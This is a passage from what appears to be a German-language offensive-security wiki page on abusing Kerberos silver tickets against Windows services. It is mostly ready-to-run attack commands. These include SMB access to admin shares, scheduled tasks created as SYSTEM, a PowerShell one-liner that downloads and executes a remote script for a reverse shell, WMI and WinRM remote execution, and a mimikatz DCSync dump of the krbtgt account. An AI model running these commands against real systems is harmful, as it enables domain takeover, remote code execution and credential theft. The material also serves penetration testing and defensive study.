HOST
RPCSS
| | PowerShell-Remoting |HOST
HTTP
Je nach Betriebssystem auch:
WSMAN
RPCSS
| | WinRM |HOST
HTTP
In einigen Fällen können Sie einfach nach: WINRM fragen
| | Geplante Aufgaben | HOST | | Windows-Dateifreigabe, auch psexec | CIFS | | LDAP-Operationen, einschließlich DCSync | LDAP | | Windows Remote Server Administration Tools |RPCSS
LDAP
CIFS
| | Goldene Tickets | krbtgt | Mit **Rubeus** können Sie **alle** diese Tickets mit dem Parameter anfordern: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ### Silver-Ticket-Ereignis-IDs * 4624: Kontoeinwahl * 4634: Kontoabmeldung * 4672: Admin-Einwahl ## Missbrauch von Servicetickets In den folgenden Beispielen nehmen wir an, dass das Ticket unter der Identität des Administrator-Accounts abgerufen wurde. ### CIFS Mit diesem Ticket können Sie auf die Ordner `C$` und `ADMIN$` über **SMB** zugreifen (sofern sie freigegeben sind) und Dateien auf einem Teil des entfernten Dateisystems kopieren, indem Sie einfach etwas wie: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` ### HOST Mit dieser Berechtigung können Sie geplante Aufgaben in entfernten Computern erstellen und beliebige Befehle ausführen: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS Mit diesen Tickets können Sie **WMI im Zielsystem ausführen**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` ### HOST + WSMAN (WINRM) Mit WinRM-Zugriff auf einen Computer können Sie **darauf zugreifen** und sogar eine PowerShell erhalten: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Überprüfen Sie die folgende Seite, um **weitere Möglichkeiten zur Verbindung mit einem Remote-Host über WinRM** zu erfahren: {% content-ref url="../lateral-movement/winrm.md" %} [winrm.md](../lateral-movement/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Beachten Sie, dass **WinRM aktiv und auf dem Remote-Computer hörend** sein muss, um darauf zuzugreifen. {% endhint %} ### LDAP Mit diesem Privileg können Sie die DC-Datenbank mithilfe von **DCSync** dumpen: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Erfahren Sie mehr über DCSync** auf der folgenden Seite: ## Referenzen * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %}